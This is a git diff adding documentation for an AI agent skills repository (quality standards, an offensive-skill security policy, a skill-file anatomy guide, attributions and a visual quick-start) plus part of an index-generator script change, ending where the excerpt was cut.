+3. **Test**: "Run `agent-evaluation` to benchmark how often the agent fails to find the file."

docs/QUALITY_BAR.md

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+# 🏆 Quality Bar & Validation Standards
+
+To transform **Antigravity Awesome Skills** from a collection of scripts into a trusted platform, every skill must meet a specific standard of quality and safety.
+
+## The "Validated" Badge ✅
+
+A skill earns the "Validated" badge only if it passes these **5 automated checks**:
+
+### 1. Metadata Integrity
+
+The `SKILL.md` frontmatter must be valid YAML and contain:
+
+- `name`: Kebab-case, matches folder name.
+- `description`: Under 200 chars, clear value prop.
+- `risk`: One of `[none, safe, critical, offensive]`.
+- `source`: URL to original source (or "self" if original).
+
+### 2. Clear Triggers ("When to use")
+
+The skill MUST have a section explicitly stating when to trigger it.
+
+- **Good**: "Use when the user asks to debug a React component."
+- **Bad**: "This skill helps you with code."
+
+### 3. Safety & Risk Classification
+
+Every skill must declare its risk level:
+
+- 🟢 **none**: Pure text/reasoning (e.g., Brainstorming).
+- 🔵 **safe**: Reads files, runs safe commands (e.g., Linter).
+- 🟠 **critical**: Modifies state, deletes files, pushes to prod (e.g., Git Push).
+- 🔴 **offensive**: Pentesting/Red Team tools. **MUST** have "Authorized Use Only" warning.
+
+### 4. Copy-Pasteable Examples
+
+At least one code block or interaction example that a user (or agent) can immediately use.
+
+### 5. Explicit Limitations
+
+A list of known edge cases or things the skill _cannot_ do.
+
+- _Example_: "Does not work on Windows without WSL."
+
+---
+
+## Support Levels
+
+We also categorize skills by who maintains them:
+
+| Level         | Badge | Meaning                                             |
+| :------------ | :---- | :-------------------------------------------------- |
+| **Official**  | 🟣    | Maintained by the core team. High reliability.      |
+| **Community** | ⚪    | Contributed by the ecosystem. Best effort support.  |
+| **Verified**  | ✨    | Community skill that has passed deep manual review. |
+
+---
+
+## How to Validate Your Skill
+
+Run the validator script before submitting a PR:
+
+```bash
+python3 scripts/validate_skills.py --strict
+```

docs/SECURITY_GUARDRAILS.md

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+# 🛡️ Security Guardrails & Policy
+
+Antigravity Awesome Skills is a powerful toolkit. With great power comes great responsibility. This document defines the **Rules of Engagement** for all security and offensive capabilities in this repository.
+
+## 🔴 Offensive Skills Policy (The "Red Line")
+
+**What is an Offensive Skill?**
+Any skill designed to penetrate, exploit, disrupt, or simulate attacks against systems.
+_Examples: Pentesting, SQL Injection, Phishing Simulation, Red Teaming._
+
+### 1. The "Authorized Use Only" Disclaimer
+
+Every offensive skill **MUST** begin with this exact disclaimer in its `SKILL.md`:
+
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+### 2. Mandatory User Confirmation
+
+Offensive skills must **NEVER** run fully autonomously.
+
+- **Requirement**: The skill description/instructions must explicitly tell the agent to _ask for user confirmation_ before executing any exploit or attack command.
+- **Agent Instruction**: "Ask the user to verify the target URL/IP before running."
+
+### 3. Safe by Design
+
+- **No Weaponized Payloads**: Skills should not include active malware, ransomware, or non-educational exploits.
+- **Sandbox Recommended**: Instructions should recommend running in a contained environment (Docker/VM).
+
+---
+
+## 🔵 Defensive Skills Policy
+
+**What is a Defensive Skill?**
+Tools for hardening, auditing, monitoring, or protecting systems.
+_Examples: Linting, Log Analysis, Configuration Auditing._
+
+- **Data Privacy**: Defensive skills must not upload data to 3rd party servers without explicit user consent.
+- **Non-Destructive**: Audits should be read-only by default.
+
+---
+
+## ⚖️ Legal Disclaimer
+
+By using this repository, you agree that:
+
+1. You are responsible for your own actions.
+2. The authors and contributors are not liable for any damage caused by these tools.
+3. You will comply with all local, state, and federal laws regarding cybersecurity.

docs/SKILL_ANATOMY.md

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+# Anatomy of a Skill - Understanding the Structure
+
+**Want to understand how skills work under the hood?** This guide breaks down every part of a skill file.
+
+---
+
+## 📁 Basic Folder Structure
+
+```
+skills/
+└── my-skill-name/
+    ├── SKILL.md              ← Required: The main skill definition
+    ├── examples/             ← Optional: Example files
+    │   ├── example1.js
+    │   └── example2.py
+    ├── scripts/              ← Optional: Helper scripts
+    │   └── helper.sh
+    ├── templates/            ← Optional: Code templates
+    │   └── template.tsx
+    ├── references/           ← Optional: Reference documentation
+    │   └── api-docs.md
+    └── README.md             ← Optional: Additional documentation
+```
+
+**Key Rule:** Only `SKILL.md` is required. Everything else is optional!
+
+---
+
+## SKILL.md Structure
+
+Every `SKILL.md` file has two main parts:
+
+### 1. Frontmatter (Metadata)
+
+### 2. Content (Instructions)
+
+Let's break down each part:
+
+---
+
+## Part 1: Frontmatter
+
+The frontmatter is at the very top, wrapped in `---`:
+
+```markdown
+---
+name: my-skill-name
+description: "Brief description of what this skill does"
+---
+```
+
+### Required Fields
+
+#### `name`
+
+- **What it is:** The skill's identifier
+- **Format:** lowercase-with-hyphens
+- **Must match:** The folder name exactly
+- **Example:** `stripe-integration`
+
+#### `description`
+
+- **What it is:** One-sentence summary
+- **Format:** String in quotes
+- **Length:** Keep it under 150 characters
+- **Example:** `"Stripe payment integration patterns including checkout, subscriptions, and webhooks"`
+
+### Optional Fields
+
+Some skills include additional metadata:
+
+```markdown
+---
+name: my-skill-name
+description: "Brief description"
+risk: "safe" # safe | risk | official
+source: "community"
+tags: ["react", "typescript"]
+---
+```
+
+---
+
+## Part 2: Content
+
+After the frontmatter comes the actual skill content. Here's the recommended structure:
+
+### Recommended Sections
+
+#### 1. Title (H1)
+
+```markdown
+# Skill Title
+```
+
+- Use a clear, descriptive title
+- Usually matches or expands on the skill name
+
+#### 2. Overview
+
+```markdown
+## Overview
+
+A brief explanation of what this skill does and why it exists.
+2-4 sentences is perfect.
+```
+
+#### 3. When to Use
+
+```markdown
+## When to Use This Skill
+
+- Use when you need to [scenario 1]
+- Use when working with [scenario 2]
+- Use when the user asks about [scenario 3]
+```
+
+**Why this matters:** Helps the AI know when to activate this skill
+
+#### 4. Core Instructions
+
+```markdown
+## How It Works
+
+### Step 1: [Action]
+
+Detailed instructions...
+
+### Step 2: [Action]
+
+More instructions...
+```
+
+**This is the heart of your skill** - clear, actionable steps
+
+#### 5. Examples
+
+```markdown
+## Examples
+
+### Example 1: [Use Case]
+
+\`\`\`javascript
+// Example code
+\`\`\`
+
+### Example 2: [Another Use Case]
+
+\`\`\`javascript
+// More code
+\`\`\`
+```
+
+**Why examples matter:** They show the AI exactly what good output looks like
+
+#### 6. Best Practices
+
+```markdown
+## Best Practices
+
+- ✅ Do this
+- ✅ Also do this
+- ❌ Don't do this
+- ❌ Avoid this
+```
+
+#### 7. Common Pitfalls
+
+```markdown
+## Common Pitfalls
+
+- **Problem:** Description
+  **Solution:** How to fix it
+```
+
+#### 8. Related Skills
+
+```markdown
+## Related Skills
+
+- `@other-skill` - When to use this instead
+- `@complementary-skill` - How this works together
+```
+
+---
+
+## Writing Effective Instructions
+
+### Use Clear, Direct Language
+
+**❌ Bad:**
+
+```markdown
+You might want to consider possibly checking if the user has authentication.
+```
+
+**✅ Good:**
+
+```markdown
+Check if the user is authenticated before proceeding.
+```
+
+### Use Action Verbs
+
+**❌ Bad:**
+
+```markdown
+The file should be created...
+```
+
+**✅ Good:**
+
+```markdown
+Create the file...
+```
+
+### Be Specific
+
+**❌ Bad:**
+
+```markdown
+Set up the database properly.
+```
+
+**✅ Good:**
+
+```markdown
+1. Create a PostgreSQL database
+2. Run migrations: `npm run migrate`
+3. Seed initial data: `npm run seed`
+```
+
+---
+
+## Optional Components
+
+### Scripts Directory
+
+If your skill needs helper scripts:
+
+```
+scripts/
+├── setup.sh          ← Setup automation
+├── validate.py       ← Validation tools
+└── generate.js       ← Code generators
+```
+
+**Reference them in SKILL.md:**
+
+```markdown
+Run the setup script:
+\`\`\`bash
+bash scripts/setup.sh
+\`\`\`
+```
+
+### Examples Directory
+
+Real-world examples that demonstrate the skill:
+
+```
+examples/
+├── basic-usage.js
+├── advanced-pattern.ts
+└── full-implementation/
+    ├── index.js
+    └── config.json
+```
+
+### Templates Directory
+
+Reusable code templates:
+
+```
+templates/
+├── component.tsx
+├── test.spec.ts
+└── config.json
+```
+
+**Reference in SKILL.md:**
+
+```markdown
+Use this template as a starting point:
+\`\`\`typescript
+{{#include templates/component.tsx}}
+\`\`\`
+```
+
+### References Directory
+
+External documentation or API references:
+
+```
+references/
+├── api-docs.md
+├── best-practices.md
+└── troubleshooting.md
+```
+
+---
+
+## Skill Size Guidelines
+
+### Minimum Viable Skill
+
+- **Frontmatter:** name + description
+- **Content:** 100-200 words
+- **Sections:** Overview + Instructions
+
+### Standard Skill
+
+- **Frontmatter:** name + description
+- **Content:** 300-800 words
+- **Sections:** Overview + When to Use + Instructions + Examples
+
+### Comprehensive Skill
+
+- **Frontmatter:** name + description + optional fields
+- **Content:** 800-2000 words
+- **Sections:** All recommended sections
+- **Extras:** Scripts, examples, templates
+
+**Rule of thumb:** Start small, expand based on feedback
+
+---
+
+## Formatting Best Practices
+
+### Use Markdown Effectively
+
+#### Code Blocks
+
+Always specify the language:
+
+```markdown
+\`\`\`javascript
+const example = "code";
+\`\`\`
+```
+
+#### Lists
+
+Use consistent formatting:
+
+```markdown
+- Item 1
+- Item 2
+  - Sub-item 2.1
+  - Sub-item 2.2
+```
+
+#### Emphasis
+
+- **Bold** for important terms: `**important**`
+- _Italic_ for emphasis: `*emphasis*`
+- `Code` for commands/code: `` `code` ``
+
+#### Links
+
+```markdown
+[Link text](https://example.com)
+```
+
+---
+
+## ✅ Quality Checklist
+
+Before finalizing your skill:
+
+### Content Quality
+
+- [ ] Instructions are clear and actionable
+- [ ] Examples are realistic and helpful
+- [ ] No typos or grammar errors
+- [ ] Technical accuracy verified
+
+### Structure
+
+- [ ] Frontmatter is valid YAML
+- [ ] Name matches folder name
+- [ ] Sections are logically organized
+- [ ] Headings follow hierarchy (H1 → H2 → H3)
+
+### Completeness
+
+- [ ] Overview explains the "why"
+- [ ] Instructions explain the "how"
+- [ ] Examples show the "what"
+- [ ] Edge cases are addressed
+
+### Usability
+
+- [ ] A beginner could follow this
+- [ ] An expert would find it useful
+- [ ] The AI can parse it correctly
+- [ ] It solves a real problem
+
+---
+
+## 🔍 Real-World Example Analysis
+
+Let's analyze a real skill: `brainstorming`
+
+```markdown
+---
+name: brainstorming
+description: "You MUST use this before any creative work..."
+---
+```
+
+**Analysis:**
+
+- ✅ Clear name
+- ✅ Strong description with urgency ("MUST use")
+- ✅ Explains when to use it
+
+```markdown
+# Brainstorming Ideas Into Designs
+
+## Overview
+
+Help turn ideas into fully formed designs...
+```
+
+**Analysis:**
+
+- ✅ Clear title
+- ✅ Concise overview
+- ✅ Explains the value proposition
+
+```markdown
+## The Process
+
+**Understanding the idea:**
+
+- Check out the current project state first
+- Ask questions one at a time
+```
+
+**Analysis:**
+
+- ✅ Broken into clear phases
+- ✅ Specific, actionable steps
+- ✅ Easy to follow
+
+---
+
+## Advanced Patterns
+
+### Conditional Logic
+
+```markdown
+## Instructions
+
+If the user is working with React:
+
+- Use functional components
+- Prefer hooks over class components
+
+If the user is working with Vue:
+
+- Use Composition API
+- Follow Vue 3 patterns
+```
+
+### Progressive Disclosure
+
+```markdown
+## Basic Usage
+
+[Simple instructions for common cases]
+
+## Advanced Usage
+
+[Complex patterns for power users]
+```
+
+### Cross-References
+
+```markdown
+## Related Workflows
+
+1. First, use `@brainstorming` to design
+2. Then, use `@writing-plans` to plan
+3. Finally, use `@test-driven-development` to implement
+```
+
+---
+
+## Skill Effectiveness Metrics
+
+How to know if your skill is good:
+
+### Clarity Test
+
+- Can someone unfamiliar with the topic follow it?
+- Are there any ambiguous instructions?
+
+### Completeness Test
+
+- Does it cover the happy path?
+- Does it handle edge cases?
+- Are error scenarios addressed?
+
+### Usefulness Test
+
+- Does it solve a real problem?
+- Would you use this yourself?
+- Does it save time or improve quality?
+
+---
+
+## Learning from Existing Skills
+
+### Study These Examples
+
+**For Beginners:**
+
+- `skills/brainstorming/SKILL.md` - Clear structure
+- `skills/git-pushing/SKILL.md` - Simple and focused
+- `skills/copywriting/SKILL.md` - Good examples
+
+**For Advanced:**
+
+- `skills/systematic-debugging/SKILL.md` - Comprehensive
+- `skills/react-best-practices/SKILL.md` - Multiple files
+- `skills/loki-mode/SKILL.md` - Complex workflows
+
+---
+
+## 💡 Pro Tips
+
+1. **Start with the "When to Use" section** - This clarifies the skill's purpose
+2. **Write examples first** - They help you understand what you're teaching
+3. **Test with an AI** - See if it actually works before submitting
+4. **Get feedback** - Ask others to review your skill
+5. **Iterate** - Skills improve over time based on usage
+
+---
+
+## Common Mistakes to Avoid
+
+### ❌ Mistake 1: Too Vague
+
+```markdown
+## Instructions
+
+Make the code better.
+```
+
+**✅ Fix:**
+
+```markdown
+## Instructions
+
+1. Extract repeated logic into functions
+2. Add error handling for edge cases
+3. Write unit tests for core functionality
+```
+
+### ❌ Mistake 2: Too Complex
+
+```markdown
+## Instructions
+
+[5000 words of dense technical jargon]
+```
+
+**✅ Fix:**
+Break into multiple skills or use progressive disclosure
+
+### ❌ Mistake 3: No Examples
+
+```markdown
+## Instructions
+
+[Instructions without any code examples]
+```
+
+**✅ Fix:**
+Add at least 2-3 realistic examples
+
+### ❌ Mistake 4: Outdated Information
+
+```markdown
+Use React class components...
+```
+
+**✅ Fix:**
+Keep skills updated with current best practices
+
+---
+
+## 🎯 Next Steps
+
+1. **Read 3-5 existing skills** to see different styles
+2. **Try the skill template** from CONTRIBUTING.md
+3. **Create a simple skill** for something you know well
+4. **Test it** with your AI assistant
+5. **Share it** via Pull Request
+
+---
+
+**Remember:** Every expert was once a beginner. Start simple, learn from feedback, and improve over time! 🚀

docs/SOURCES.md

@@ -0,0 +1,21 @@
+# 📜 Sources & Attributions
+
+We believe in giving credit where credit is due.
+If you recognize your work here and it is not properly attributed, please open an Issue.
+
+| Skill / Category            | Original Source                                        | License        | Notes                         |
+| :-------------------------- | :----------------------------------------------------- | :------------- | :---------------------------- |
+| `cloud-penetration-testing` | [HackTricks](https://book.hacktricks.xyz/)             | MIT / CC-BY-SA | Adapted for agentic use.      |
+| `active-directory-attacks`  | [HackTricks](https://book.hacktricks.xyz/)             | MIT / CC-BY-SA | Adapted for agentic use.      |
+| `owasp-top-10`              | [OWASP](https://owasp.org/)                            | CC-BY-SA       | Methodology adapted.          |
+| `burp-suite-testing`        | [PortSwigger](https://portswigger.net/burp)            | N/A            | Usage guide only (no binary). |
+| `crewai`                    | [CrewAI](https://github.com/joaomdmoura/crewAI)        | MIT            | Framework guides.             |
+| `langgraph`                 | [LangGraph](https://github.com/langchain-ai/langgraph) | MIT            | Framework guides.             |
+| `react-patterns`            | [React Docs](https://react.dev/)                       | CC-BY          | Official patterns.            |
+| **All Official Skills**     | [Anthropic / Google / OpenAI]                          | Proprietary    | Usage encouraged by vendors.  |
+
+## License Policy
+
+- **Code**: All original code in this repository is **MIT**.
+- **Content**: Documentation is **CC-BY-4.0**.
+- **Third Party**: We respect the upstream licenses. If an imported skill is GPL, it will be marked clearly or excluded (we aim for MIT/Apache compatibility).

docs/VISUAL_GUIDE.md

@@ -0,0 +1,512 @@
+# Visual Quick Start Guide
+
+**Learn by seeing!** This guide uses diagrams and visual examples to help you understand skills.
+
+---
+
+## The Big Picture
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    YOU (Developer)                          │
+│                          ↓                                  │
+│              "Help me build a payment system"               │
+│                          ↓                                  │
+├─────────────────────────────────────────────────────────────┤
+│                  AI ASSISTANT                               │
+│                          ↓                                  │
+│              Loads @stripe-integration skill                │
+│                          ↓                                  │
+│         Becomes an expert in Stripe payments                │
+│                          ↓                                  │
+│    Provides specialized help with code examples             │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 📦 Repository Structure (Visual)
+
+```
+antigravity-awesome-skills/
+│
+├── 📄 README.md                    ← Overview & skill list
+├── 📄 GETTING_STARTED.md           ← Start here! (NEW)
+├── 📄 CONTRIBUTING.md              ← How to contribute
+├── 📄 FAQ.md                       ← Troubleshooting
+│
+├── 📁 skills/                      ← All 250+ skills live here
+│   │
+│   ├── 📁 brainstorming/
+│   │   └── 📄 SKILL.md             ← Skill definition
+│   │
+│   ├── 📁 stripe-integration/
+│   │   ├── 📄 SKILL.md
+│   │   └── 📁 examples/            ← Optional extras
+│   │
+│   └── ... (250+ more skills)
+│
+├── 📁 scripts/                     ← Validation & management
+│   ├── validate_skills.py          ← Quality Bar Enforcer
+│   └── generate_index.py           ← Registry Generator
+│
+├── 📁 .github/
+│   └── 📄 MAINTENANCE.md           ← Maintainers Guide
+│
+└── 📁 docs/                        ← Documentation
+    ├── 📄 BUNDLES.md               ← Starter Packs (NEW)
+    ├── 📄 QUALITY_BAR.md           ← Quality Standards
+    ├── 📄 SKILL_ANATOMY.md         ← How skills work
+    └── 📄 VISUAL_GUIDE.md          ← This file!
+```
+
+---
+
+## How Skills Work (Flow Diagram)
+
+```
+┌──────────────┐
+│ 1. INSTALL   │  Copy skills to .agent/skills/
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 2. INVOKE    │  Type: @skill-name in AI chat
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 3. LOAD      │  AI reads SKILL.md file
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 4. EXECUTE   │  AI follows skill instructions
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 5. RESULT    │  You get specialized help!
+└──────────────┘
+```
+
+---
+
+## 🎯 Skill Categories (Visual Map)
+
+```
+                    ┌─────────────────────────┐
+                    │   250+ AWESOME SKILLS   │
+                    └────────────┬────────────┘
+                                 │
+        ┌────────────────────────┼────────────────────────┐
+        │                        │                        │
+   ┌────▼────┐            ┌──────▼──────┐         ┌──────▼──────┐
+   │ CREATIVE│            │ DEVELOPMENT │         │  SECURITY   │
+   │ (10)    │            │    (25)     │         │    (50)     │
+   └────┬────┘            └──────┬──────┘         └──────┬──────┘
+        │                        │                        │
+   • UI/UX Design          • TDD                    • Ethical Hacking
+   • Canvas Art            • Debugging              • Metasploit
+   • Themes                • React Patterns         • Burp Suite
+                                                    • SQLMap
+        │                        │                        │
+        └────────────────────────┼────────────────────────┘
+                                 │
+        ┌────────────────────────┼────────────────────────┐
+        │                        │                        │
+   ┌────▼────┐            ┌──────▼──────┐         ┌──────▼──────┐
+   │   AI    │            │  DOCUMENTS  │         │  MARKETING  │
+   │  (30)   │            │     (4)     │         │    (23)     │
+   └────┬────┘            └──────┬──────┘         └──────┬──────┘
+        │                        │                        │
+   • RAG Systems           • DOCX                   • SEO
+   • LangGraph             • PDF                    • Copywriting
+   • Prompt Eng.           • PPTX                   • CRO
+   • Voice Agents          • XLSX                   • Paid Ads
+```
+
+---
+
+## Skill File Anatomy (Visual)
+
+````
+┌─────────────────────────────────────────────────────────┐
+│ SKILL.md                                                │
+├─────────────────────────────────────────────────────────┤
+│                                                         │
+│  ┌───────────────────────────────────────────────┐     │
+│  │ FRONTMATTER (Metadata)                        │     │
+│  │ ───────────────────────────────────────────── │     │
+│  │ ---                                           │     │
+│  │ name: my-skill                                │     │
+│  │ description: "What this skill does"           │     │
+│  │ ---                                           │     │
+│  └───────────────────────────────────────────────┘     │
+│                                                         │
+│  ┌───────────────────────────────────────────────┐     │
+│  │ CONTENT (Instructions)                        │     │
+│  │ ───────────────────────────────────────────── │     │
+│  │                                               │     │
+│  │ # Skill Title                                 │     │
+│  │                                               │     │
+│  │ ## Overview                                   │     │
+│  │ What this skill does...                       │     │
+│  │                                               │     │
+│  │ ## When to Use                                │     │
+│  │ - Use when...                                 │     │
+│  │                                               │     │
+│  │ ## Instructions                               │     │
+│  │ 1. First step...                              │     │
+│  │ 2. Second step...                             │     │
+│  │                                               │     │
+│  │ ## Examples                                   │     │
+│  │ ```javascript                                 │     │
+│  │ // Example code                               │     │
+│  │ ```                                           │     │
+│  │                                               │     │
+│  └───────────────────────────────────────────────┘     │
+│                                                         │
+└─────────────────────────────────────────────────────────┘
+````
+
+---
+
+## Installation (Visual Steps)
+
+### Step 1: Clone the Repository
+
+```
+┌─────────────────────────────────────────┐
+│ Terminal                                │
+├─────────────────────────────────────────┤
+│ $ git clone https://github.com/        │
+│   sickn33/antigravity-awesome-skills    │
+│   .agent/skills                         │
+│                                         │
+│ ✓ Cloning into '.agent/skills'...      │
+│ ✓ Done!                                 │
+└─────────────────────────────────────────┘
+```
+
+### Step 2: Verify Installation
+
+```
+┌─────────────────────────────────────────┐
+│ File Explorer                           │
+├─────────────────────────────────────────┤
+│ 📁 .agent/                              │
+│   └── 📁 skills/                        │
+│       ├── 📁 brainstorming/             │
+│       ├── 📁 stripe-integration/        │
+│       ├── 📁 react-best-practices/      │
+│       └── ... (176 more)                │
+└─────────────────────────────────────────┘
+```
+
+### Step 3: Use a Skill
+
+```
+┌─────────────────────────────────────────┐
+│ AI Assistant Chat                       │
+├─────────────────────────────────────────┤
+│ You: @brainstorming help me design      │
+│      a todo app                         │
+│                                         │
+│ AI:  Great! Let me help you think       │
+│      through this. First, let's         │
+│      understand your requirements...    │
+│                                         │
+│      What's the primary use case?       │
+│      a) Personal task management        │
+│      b) Team collaboration              │
+│      c) Project planning                │
+└─────────────────────────────────────────┘
+```
+
+---
+
+## Example: Using a Skill (Step-by-Step)
+
+### Scenario: You want to add Stripe payments to your app
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 1: Identify the Need                                  │
+├─────────────────────────────────────────────────────────────┤
+│ "I need to add payment processing to my app"                │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 2: Find the Right Skill                               │
+├─────────────────────────────────────────────────────────────┤
+│ Search: "payment" or "stripe"                               │
+│ Found: @stripe-integration                                  │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 3: Invoke the Skill                                   │
+├─────────────────────────────────────────────────────────────┤
+│ You: @stripe-integration help me add subscription billing  │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 4: AI Loads Skill Knowledge                           │
+├─────────────────────────────────────────────────────────────┤
+│ • Stripe API patterns                                       │
+│ • Webhook handling                                          │
+│ • Subscription management                                   │
+│ • Best practices                                            │
+└─────────────────────────────────────────────────────────────┘
+                          ↓
+┌─────────────────────────────────────────────────────────────┐
+│ STEP 5: Get Expert Help                                    │
+├─────────────────────────────────────────────────────────────┤
+│ AI provides:                                                │
+│ • Code examples                                             │
+│ • Setup instructions                                        │
+│ • Security considerations                                   │
+│ • Testing strategies                                        │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Finding Skills (Visual Guide)
+
+### Method 1: Browse by Category
+
+```
+README.md → Scroll to "Full Skill Registry" → Find category → Pick skill
+```
+
+### Method 2: Search by Keyword
+
+```
+Terminal → ls skills/ | grep "keyword" → See matching skills
+```
+
+### Method 3: Use the Index
+
+```
+Open skills_index.json → Search for keyword → Find skill path
+```
+
+---
+
+## Creating Your First Skill (Visual Workflow)
+
+```
+┌──────────────┐
+│ 1. IDEA      │  "I want to share my Docker knowledge"
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 2. CREATE    │  mkdir skills/docker-mastery
+└──────┬───────┘  touch skills/docker-mastery/SKILL.md
+       │
+       ↓
+┌──────────────┐
+│ 3. WRITE     │  Add frontmatter + content
+└──────┬───────┘  (Use template from CONTRIBUTING.md)
+       │
+       ↓
+┌──────────────┐
+│ 4. TEST      │  Copy to .agent/skills/
+└──────┬───────┘  Try: @docker-mastery
+       │
+       ↓
+┌──────────────┐
+│ 5. VALIDATE  │  python3 scripts/validate_skills.py
+└──────┬───────┘
+       │
+       ↓
+┌──────────────┐
+│ 6. SUBMIT    │  git commit + push + Pull Request
+└──────────────┘
+```
+
+---
+
+## Skill Complexity Levels
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    SKILL COMPLEXITY                         │
+├─────────────────────────────────────────────────────────────┤
+│                                                             │
+│  SIMPLE                    STANDARD              COMPLEX    │
+│  ──────                    ────────              ───────    │
+│                                                             │
+│  • 1 file                  • 1 file              • Multiple │
+│  • 100-200 words           • 300-800 words       • 800-2000 │
+│  • Basic structure         • Full structure      • Scripts  │
+│  • No extras               • Examples            • Examples │
+│                            • Best practices      • Templates│
+│                                                  • Docs     │
+│  Example:                  Example:              Example:   │
+│  git-pushing               brainstorming         loki-mode  │
+│                                                             │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 🎯 Contribution Impact (Visual)
+
+```
+Your Contribution
+       │
+       ├─→ Improves Documentation
+       │        │
+       │        └─→ Helps 1000s of developers understand
+       │
+       ├─→ Creates New Skill
+       │        │
+       │        └─→ Enables new capabilities for everyone
+       │
+       ├─→ Fixes Bug/Typo
+       │        │
+       │        └─→ Prevents confusion for future users
+       │
+       └─→ Adds Example
+                │
+                └─→ Makes learning easier for beginners
+```
+
+---
+
+## Learning Path (Visual Roadmap)
+
+```
+START HERE
+    │
+    ↓
+┌─────────────────┐
+│ Read            │
+│ GETTING_STARTED │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Try 2-3 Skills  │
+│ in AI Assistant │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Read            │
+│ SKILL_ANATOMY   │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Study Existing  │
+│ Skills          │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Create Simple   │
+│ Skill           │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Read            │
+│ CONTRIBUTING    │
+└────────┬────────┘
+         │
+         ↓
+┌─────────────────┐
+│ Submit PR       │
+└────────┬────────┘
+         │
+         ↓
+    CONTRIBUTOR! 🎉
+```
+
+---
+
+## 💡 Quick Tips (Visual Cheatsheet)
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    QUICK REFERENCE                          │
+├─────────────────────────────────────────────────────────────┤
+│                                                             │
+│  📥 INSTALL                                                 │
+│  git clone [repo] .agent/skills                             │
+│                                                             │
+│  🎯 USE                                                     │
+│  @skill-name [your request]                                 │
+│                                                             │
+│  🔍 FIND                                                    │
+│  ls skills/ | grep "keyword"                                │
+│                                                             │
+│  ✅ VALIDATE                                                │
+│  python3 scripts/validate_skills.py                         │
+│                                                             │
+│  📝 CREATE                                                  │
+│  1. mkdir skills/my-skill                                   │
+│  2. Create SKILL.md with frontmatter                        │
+│  3. Add content                                             │
+│  4. Test & validate                                         │
+│  5. Submit PR                                               │
+│                                                             │
+│  🆘 HELP                                                    │
+│  • GETTING_STARTED.md - Basics                              │
+│  • CONTRIBUTING.md - How to contribute                │
+│  • SKILL_ANATOMY.md - Deep dive                             │
+│  • GitHub Issues - Ask questions                            │
+│                                                             │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Success Stories (Visual Timeline)
+
+```
+Day 1: Install skills
+  │
+  └─→ "Wow, @brainstorming helped me design my app!"
+
+Day 3: Use 5 different skills
+  │
+  └─→ "These skills save me so much time!"
+
+Week 1: Create first skill
+  │
+  └─→ "I shared my expertise as a skill!"
+
+Week 2: Skill gets merged
+  │
+  └─→ "My skill is helping others! 🎉"
+
+Month 1: Regular contributor
+  │
+  └─→ "I've contributed 5 skills and improved docs!"
+```
+
+---
+
+## Next Steps
+
+1. ✅ **Understand** the visual structure
+2. ✅ **Install** skills in your AI tool
+3. ✅ **Try** 2-3 skills from different categories
+4. ✅ **Read** CONTRIBUTING.md
+5. ✅ **Create** your first skill
+6. ✅ **Share** with the community
+
+---
+
+**Visual learner?** This guide should help! Still have questions? Check out:
+
+- [GETTING_STARTED.md](../GETTING_STARTED.md) - Text-based intro
+- [SKILL_ANATOMY.md](SKILL_ANATOMY.md) - Detailed breakdown
+- [CONTRIBUTING.md](../CONTRIBUTING.md) - How to contribute
+
+**Ready to contribute?** You've got this! 💪

scripts/generate_index.py

@@ -2,48 +2,70 @@ import os
 import json
 import re
 
+import yaml
+
+def parse_frontmatter(content):
+    """
+    Parses YAML frontmatter using PyYAML for standard compliance.
+    """
+    fm_match = re.search(r'^---\s*\n(.*?)\n---', content, re.DOTALL)
+    if not fm_match:
+        return {}
+    
+    try:
+        return yaml.safe_load(fm_match.group(1)) or {}
+    except yaml.YAMLError as e:
+        print(f"⚠️ YAML parsing error: {e}")
+        return {}
+
 def generate_index(skills_dir, output_file):
     print(f"🏗️ Generating index from: {skills_dir}")
     skills = []
 
     for root, dirs, files in os.walk(skills_dir):
+        # Skip .disabled or hidden directories
+        dirs[:] = [d for d in dirs if not d.startswith('.')]
+        
         if "SKILL.md" in files:
             skill_path = os.path.join(root, "SKILL.md")
             dir_name = os.path.basename(root)
+            parent_dir = os.path.basename(os.path.dirname(root))
             
+            # Default values
             skill_info = {
                 "id": dir_name,
                 "path": os.path.relpath(root, os.path.dirname(skills_dir)),
+                "category": parent_dir if parent_dir != "skills" else "uncategorized",
                 "name": dir_name.replace("-", " ").title(),
-                "description": ""
+                "description": "",
+                "risk": "unknown",
+                "source": "unknown"
             }
             
+            try:
                 with open(skill_path, 'r', encoding='utf-8') as f:
                     content = f.read()
+            except Exception as e:
+                print(f"⚠️ Error reading {skill_path}: {e}")
+                continue
 
-                # Try to extract from frontmatter first
-                fm_match = re.search(r'^---\s*(.*?)\s*---', content, re.DOTALL)
-                if fm_match:
-                    fm_content = fm_match.group(1)
-                    name_fm = re.search(r'^name:\s*(.+)$', fm_content, re.MULTILINE)
-                    desc_fm = re.search(r'^description:\s*(.+)$', fm_content, re.MULTILINE)
+            # Parse Metadata
+            metadata = parse_frontmatter(content)
             
-                    if name_fm:
-                        skill_info["name"] = name_fm.group(1).strip()
-                    if desc_fm:
